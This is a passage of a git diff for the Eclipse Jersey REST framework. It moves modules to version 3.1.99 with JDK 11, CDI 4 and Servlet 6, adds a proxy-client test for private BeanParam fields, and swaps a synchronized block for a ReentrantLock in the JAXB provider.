+ if (field.canAccess(beanParam) && hasAnyParamAnnotation(anns)) {
value = field.get(beanParam);
} else {
// get getter annotations if there are no field annotations
@@ -178,11 +180,15 @@
}
}
- private List<Field> getAllFields(List<Field> fields, Class<?> type) {
- fields.addAll(Arrays.asList(type.getDeclaredFields()));
+ private List<Field> getAllNonStaticFields(List<Field> fields, Class<?> type) {
+
+ List<Field> nonStaticFields = Arrays.stream(type.getDeclaredFields())
+ .filter(field -> !Modifier.isStatic(field.getModifiers()))
+ .collect(Collectors.toList());
+ fields.addAll(nonStaticFields);
if (type.getSuperclass() != null) {
- getAllFields(fields, type.getSuperclass());
+ getAllNonStaticFields(fields, type.getSuperclass());
}
return fields;
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java
new file mode 100644
index 0000000..06250c7
--- /dev/null
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.proxy;
+
+
+import jakarta.ws.rs.QueryParam;
+
+/**
+ * @author Divyansh Shekhar Gaur
+ */
+public class MyBeanParamWithPrivateField {
+
+ @QueryParam("privateFieldParam")
+ private String privateFieldParam;
+
+ private static String privateStaticField;
+
+ static String staticField;
+
+ public MyBeanParamWithPrivateField() {}
+
+ public String getPrivateFieldParam() {
+ return privateFieldParam;
+ }
+
+ public void setPrivateFieldParam(String privateFieldParam) {
+ this.privateFieldParam = privateFieldParam;
+ }
+
+ public static String getPrivateStaticField() {
+ return privateStaticField;
+ }
+
+ public static void setPrivateStaticField(String privateStaticField) {
+ MyBeanParamWithPrivateField.privateStaticField = privateStaticField;
+ }
+
+ public static String getStaticField() {
+ return staticField;
+ }
+
+ public static void setStaticField(String staticField) {
+ MyBeanParamWithPrivateField.staticField = staticField;
+ }
+}
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
index 1b49f50..81fd9b4 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -54,6 +54,11 @@
}
@Override
+ public String echoPrivateField(@BeanParam MyBeanParamWithPrivateField bean) {
+ return bean.getPrivateFieldParam();
+ }
+
+ @Override
public String echo(MyBeanParam bean) {
return ("HEADER=" + bean.getHeaderParam() + ",PATH=" + bean.getPathParam() + ",FORM="
+ bean.getFormParam1() + "," + bean.getFormParam2() + ",QUERY=" + bean.getQueryParam()
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
index 5e73615..f4b7f5c 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -61,6 +61,12 @@
@POST
@Consumes("application/x-www-form-urlencoded")
+ @Path("getPrivateField")
+ @Produces("text/plain")
+ public String echoPrivateField(@BeanParam MyBeanParamWithPrivateField bean);
+
+ @POST
+ @Consumes("application/x-www-form-urlencoded")
@Path("all/{pathParam}")
@Produces("text/plain")
public String echo(@BeanParam MyBeanParam bean);
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
index d9b361a..6819e0c 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -138,4 +138,14 @@
assertEquals("query", response);
}
+
+ @Test
+ public void testBeanParamPrivateFieldQuery() {
+ MyBeanParamWithPrivateField myGetBeanParam = new MyBeanParamWithPrivateField();
+ myGetBeanParam.setPrivateFieldParam("query");
+
+ String response = resourceWithBeanParam.echoPrivateField(myGetBeanParam);
+
+ assertEquals("query", response);
+ }
}
\ No newline at end of file
diff --git a/ext/rx/pom.xml b/ext/rx/pom.xml
index 2e86422..4968d63 100644
--- a/ext/rx/pom.xml
+++ b/ext/rx/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.ext.rx</groupId>
diff --git a/ext/rx/rx-client-guava/pom.xml b/ext/rx/rx-client-guava/pom.xml
index 5a147bc..523cb4e 100644
--- a/ext/rx/rx-client-guava/pom.xml
+++ b/ext/rx/rx-client-guava/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.rx</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-rx-client-guava</artifactId>
diff --git a/ext/rx/rx-client-rxjava/pom.xml b/ext/rx/rx-client-rxjava/pom.xml
index 07d7fb1..07cd74f 100644
--- a/ext/rx/rx-client-rxjava/pom.xml
+++ b/ext/rx/rx-client-rxjava/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.rx</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-rx-client-rxjava</artifactId>
diff --git a/ext/rx/rx-client-rxjava2/pom.xml b/ext/rx/rx-client-rxjava2/pom.xml
index 2a98300..7fe9214 100644
--- a/ext/rx/rx-client-rxjava2/pom.xml
+++ b/ext/rx/rx-client-rxjava2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.ext.rx</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-rx-client-rxjava2</artifactId>
diff --git a/ext/spring6/pom.xml b/ext/spring6/pom.xml
index d46c82c..70e9dc3 100644
--- a/ext/spring6/pom.xml
+++ b/ext/spring6/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.ext</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-spring6</artifactId>
@@ -174,7 +174,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>provided</scope>
</dependency>
diff --git a/ext/wadl-doclet/pom.xml b/ext/wadl-doclet/pom.xml
index 0e8b3cb..162a70d 100644
--- a/ext/wadl-doclet/pom.xml
+++ b/ext/wadl-doclet/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.ext</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>jersey-wadl-doclet</artifactId>
@@ -35,8 +35,8 @@
<properties>
<java.sourceDirectory>${project.basedir}/src/main/java</java.sourceDirectory>
- <java8_11.build.outputDirectory>${project.basedir}/target</java8_11.build.outputDirectory>
- <java8_11.sourceDirectory>${project.basedir}/src/main/java8_11</java8_11.sourceDirectory>
+ <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+ <java11.sourceDirectory>${project.basedir}/src/main/java8_11</java11.sourceDirectory>
<java12.build.outputDirectory>${project.basedir}/target-java12</java12.build.outputDirectory>
<java12.sourceDirectory>${project.basedir}/src/main/java12</java12.sourceDirectory>
</properties>
@@ -44,27 +44,12 @@
<profiles>
<profile>
- <id>jdk1.8</id>
+ <id>jdk11</id>
<activation>
- <jdk>1.8</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>com.sun</groupId>
- <artifactId>tools</artifactId>
- <version>1.8.0</version>
- <scope>system</scope>
- <systemPath>${java.home}/../lib/tools.jar</systemPath>
- </dependency>
- </dependencies>
- </profile>
- <profile>
- <id>jdk1.8_11</id>
- <activation>
- <jdk>[1.8,12)</jdk>
+ <jdk>[11,12)</jdk>
</activation>
<build>
- <directory>${java8_11.build.outputDirectory}</directory>
+ <directory>${java11.build.outputDirectory}</directory>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
@@ -78,7 +63,7 @@
<configuration>
<sources>
<source>${java.sourceDirectory}</source>
- <source>${java8_11.sourceDirectory}</source>
+ <source>${java11.sourceDirectory}</source>
</sources>
</configuration>
</execution>
@@ -124,7 +109,7 @@
<!-- ${java12.build.outputDirectory} does not work here -->
<exists>target-java12/classes/org/glassfish/jersey/wadl/doclet/ResourceDoclet.class</exists>
</file>
- <jdk>[1.8,12)</jdk>
+ <jdk>[11,12)</jdk>
</activation>
<build>
<plugins>
@@ -151,7 +136,7 @@
<goal>copy-resources</goal>
</goals>
<configuration>
- <outputDirectory>${java8_11.build.outputDirectory}/classes/META-INF/versions/12</outputDirectory>
+ <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/12</outputDirectory>
<resources>
<resource>
<directory>${java12.build.outputDirectory}/classes</directory>
@@ -170,7 +155,7 @@
<phase>package</phase>
<configuration>
<target>
- <property name="sources-jar" value="${java8_11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+ <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
<echo>sources-jar: ${sources-jar}</echo>
<zip destfile="${sources-jar}" update="true">
<zipfileset dir="${java12.sourceDirectory}" prefix="META-INF/versions/12"/>
diff --git a/incubator/cdi-inject-weld/pom.xml b/incubator/cdi-inject-weld/pom.xml
index 2d73880..5cb4695 100644
--- a/incubator/cdi-inject-weld/pom.xml
+++ b/incubator/cdi-inject-weld/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.incubator</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-cdi-inject-weld</artifactId>
@@ -59,7 +59,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
@@ -127,8 +126,11 @@
org.glassfish.jersey.inject.weld.managed.*;version=${project.version}
</Export-Package>
<Import-Package>
+ jakarta.servlet.*;version="[5.0,7.0)",
sun.misc.*;resolution:=optional,
+ ${jakarta.annotation.osgi.version},
${cdi.osgi.version},
+ jakarta.decorator.*;version="[3.0,5)",
${jakarta.annotation.osgi.version},
*
</Import-Package>
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
index c5c4cfe..b653b54 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
@@ -157,7 +157,8 @@
Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass();
AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass);
- InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType);
+ final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType);
+ final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null);
SupplierClassBean<T> supplierBean = new SupplierClassBean<>(runtimeType, binding);
InjectionTarget<Supplier<T>> jit = getJerseyInjectionTarget(supplierClass, injectionTarget, supplierBean, resolvers);
@@ -218,7 +219,8 @@
final Class<Supplier<T>> bindingClass = (Class<Supplier<T>>) binding.getSupplierClass();
final AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(bindingClass);
- final InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType);
+ final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType);
+ final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null);
final CachedConstructorAnalyzer<Supplier<T>> analyzer =
new CachedConstructorAnalyzer<>(bindingClass, InjectionUtils.getInjectAnnotations(resolvers));
@@ -239,7 +241,8 @@
final Class<T> bindingClass = binding.getImplementationType();
final AnnotatedType<T> annotatedType = beanManager.createAnnotatedType(bindingClass);
- final InjectionTarget<T> injectionTarget = beanManager.createInjectionTarget(annotatedType);
+ final InjectionTargetFactory<T> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType);
+ final InjectionTarget<T> injectionTarget = injectionTargetFactory.createInjectionTarget(null);
final CachedConstructorAnalyzer<T> analyzer =
new CachedConstructorAnalyzer<>(bindingClass, InjectionUtils.getInjectAnnotations(resolvers));
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
index 3918e7d..66594f9 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
@@ -142,7 +142,7 @@
return false;
}
- @Override
+ // @Override - Removed in CDI 4
public boolean isNullable() {
return false;
}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
index c995f48..826c52f 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
@@ -1,4 +1,5 @@
/*
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
* Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -46,7 +47,6 @@
import org.glassfish.jersey.internal.inject.Binding;
import org.glassfish.jersey.internal.inject.ClassBinding;
import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.spi.AutoDiscoverable;
import org.glassfish.jersey.internal.util.collection.Ref;
import org.glassfish.jersey.model.internal.CommonConfig;
import org.glassfish.jersey.model.internal.ComponentBag;
@@ -231,31 +231,11 @@
}
@Override
- public Servlet getServlet(String name) throws ServletException {
- return null;
- }
-
- @Override
- public Enumeration<Servlet> getServlets() {
- return null;
- }
-
- @Override
- public Enumeration<String> getServletNames() {
- return null;
- }
-
- @Override
public void log(String msg) {
}
@Override
- public void log(Exception exception, String msg) {
-
- }
-
- @Override
public void log(String message, Throwable throwable) {
}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java
index eff570f..7dd99c8 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java
@@ -54,7 +54,7 @@
this.injectionTarget = injectionTargetFactory.createInjectionTarget(null);
}
- @Override
+ // @Override - Removed in CDI 4
public boolean isNullable() {
return false;
}
diff --git a/incubator/declarative-linking/pom.xml b/incubator/declarative-linking/pom.xml
index 181bb67..69973c8 100644
--- a/incubator/declarative-linking/pom.xml
+++ b/incubator/declarative-linking/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.incubator</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.ext</groupId>
@@ -58,9 +58,9 @@
<scope>provided</scope>
</dependency>
<dependency>
- <groupId>org.glassfish</groupId>
- <artifactId>jakarta.el</artifactId>
- <scope>provided</scope>
+ <groupId>org.glassfish.expressly</groupId>
+ <artifactId>expressly</artifactId>
+ <scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
@@ -74,12 +74,12 @@
<version>${project.version}</version>
<scope>test</scope>
</dependency>
-<!-- <dependency>-->
-<!-- <groupId>org.glassfish.jersey.media</groupId>-->
-<!-- <artifactId>jersey-media-json-jackson</artifactId>-->
-<!-- <version>${jersey.version}</version>-->
-<!-- <scope>test</scope>-->
-<!-- </dependency>-->
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-json-jackson</artifactId>
+ <version>${jersey.version}</version>
+ <scope>test</scope>
+ </dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
@@ -175,22 +175,6 @@
</executions>
</plugin>
<plugin>
- <!-- TODO remove after jakartification -->
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-surefire-plugin</artifactId>
- <executions>
- <execution>
- <id>default-test</id> <!-- jakartification-excluded-tests -->
- <configuration>
- <excludes>
- <exclude>org/glassfish/jersey/linking/integration/LinkingTest.java</exclude>
- <exclude>org/glassfish/jersey/linking/integration/LinkingManualTest.java</exclude>
- </excludes>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
<groupId>org.apache.felix</groupId>
<artifactId>maven-bundle-plugin</artifactId>
<inherited>true</inherited>
diff --git a/incubator/gae-integration/pom.xml b/incubator/gae-integration/pom.xml
index f0a0916..4c05d17 100644
--- a/incubator/gae-integration/pom.xml
+++ b/incubator/gae-integration/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.incubator</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-gae-integration</artifactId>
diff --git a/incubator/html-json/pom.xml b/incubator/html-json/pom.xml
index 5eed87b..3af57c6 100644
--- a/incubator/html-json/pom.xml
+++ b/incubator/html-json/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.incubator</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/injectless-client/pom.xml b/incubator/injectless-client/pom.xml
index daf7c24..6e4e946 100644
--- a/incubator/injectless-client/pom.xml
+++ b/incubator/injectless-client/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.incubator</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-injectless-client</artifactId>
diff --git a/incubator/kryo/pom.xml b/incubator/kryo/pom.xml
index 7ddc227..e0a40f8 100644
--- a/incubator/kryo/pom.xml
+++ b/incubator/kryo/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.incubator</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/open-tracing/pom.xml b/incubator/open-tracing/pom.xml
index 5faa7b0..43dd60c 100644
--- a/incubator/open-tracing/pom.xml
+++ b/incubator/open-tracing/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.incubator</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.incubator</groupId>
diff --git a/incubator/pom.xml b/incubator/pom.xml
index d6bafee..609fd98 100644
--- a/incubator/pom.xml
+++ b/incubator/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.incubator</groupId>
diff --git a/inject/cdi2-se/pom.xml b/inject/cdi2-se/pom.xml
index d63c8ea..47af3e6 100644
--- a/inject/cdi2-se/pom.xml
+++ b/inject/cdi2-se/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.inject</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-cdi2-se</artifactId>
@@ -113,6 +113,7 @@
<Import-Package>
sun.misc.*;resolution:=optional,
${cdi.osgi.version},
+ jakarta.decorator.*;version="[3.0,5)",
${jakarta.annotation.osgi.version},
*
</Import-Package>
@@ -135,15 +136,4 @@
</plugin>
</plugins>
</build>
- <profiles>
- <profile>
- <id>jdk8</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <properties>
- <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version>
- </properties>
- </profile>
- </profiles>
-</project>
+</project>
\ No newline at end of file
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java
index 4bf816f..86e97ab 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/RequestScopeBean.java
@@ -54,7 +54,7 @@
this.injectionTarget = injectionTargetFactory.createInjectionTarget(null);
}
- @Override
+ // @Override - Removed in CDI 4
public boolean isNullable() {
return false;
}
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
index 2ae0ebc..584193f 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/BeanHelper.java
@@ -147,9 +147,10 @@
public static <T> void registerSupplier(SupplierClassBinding<T> binding, AfterBeanDiscovery abd,
Collection<InjectionResolver> resolvers, BeanManager beanManager) {
- Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass();
- AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass);
- InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType);
+ final Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass();
+ final AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass);
+ final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType);
+ final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null);
SupplierClassBean<T> supplierBean = new SupplierClassBean<>(binding);
InjectionTarget<Supplier<T>> jit = getJerseyInjectionTarget(supplierClass, injectionTarget, supplierBean, resolvers);
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
index 24fc62f..8f3fc55 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/bean/JerseyBean.java
@@ -133,7 +133,7 @@
return false;
}
- @Override
+ // @Override - Removed in CDI 4
public boolean isNullable() {
return false;
}
diff --git a/inject/hk2/pom.xml b/inject/hk2/pom.xml
index 84a04cf..a9bee7b 100644
--- a/inject/hk2/pom.xml
+++ b/inject/hk2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.inject</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-hk2</artifactId>
diff --git a/inject/pom.xml b/inject/pom.xml
index 1dec961..c7eaebd 100644
--- a/inject/pom.xml
+++ b/inject/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.inject</groupId>
diff --git a/media/jaxb/pom.xml b/media/jaxb/pom.xml
index 75a49a0..3cbc495 100644
--- a/media/jaxb/pom.xml
+++ b/media/jaxb/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-jaxb</artifactId>
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
index 1d3c5c5..0b95efd 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,8 @@
import java.lang.ref.WeakReference;
import java.util.Map;
import java.util.WeakHashMap;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -57,6 +59,7 @@
private static final Map<Class<?>, WeakReference<JAXBContext>> jaxbContexts =
new WeakHashMap<Class<?>, WeakReference<JAXBContext>>();
+ private static final Lock jaxbContextsLock = new ReentrantLock();
private final Providers jaxrsProviders;
private final boolean fixedResolverMediaType;
private final Value<ContextResolver<JAXBContext>> mtContext;
@@ -149,7 +152,7 @@
/**
* Get the JAXB unmarshaller for the given class and media type.
* <p>
- * In case this provider instance has been {@link #AbstractJaxbProvider(Providers, MediaType)
+ * In case this provider instance has been {@link AbstractJaxbProvider(Providers, MediaType)
* created with a fixed resolver media type}, the supplied media type argument will be ignored.
* </p>
*
@@ -192,7 +195,7 @@
/**
* Get the JAXB marshaller for the given class and media type.
* <p>
- * In case this provider instance has been {@link #AbstractJaxbProvider(Providers, MediaType)
+ * In case this provider instance has been {@link AbstractJaxbProvider(Providers, MediaType)
* created with a fixed resolver media type}, the supplied media type argument will be ignored.
* </p>
*
@@ -280,7 +283,8 @@
* @throws JAXBException in case the JAXB context retrieval fails.
*/
protected JAXBContext getStoredJaxbContext(Class type) throws JAXBException {
- synchronized (jaxbContexts) {
+ jaxbContextsLock.lock();
+ try {
final WeakReference<JAXBContext> ref = jaxbContexts.get(type);
JAXBContext c = (ref != null) ? ref.get() : null;
if (c == null) {
@@ -288,7 +292,10 @@
jaxbContexts.put(type, new WeakReference<JAXBContext>(c));
}
return c;
+ } finally {
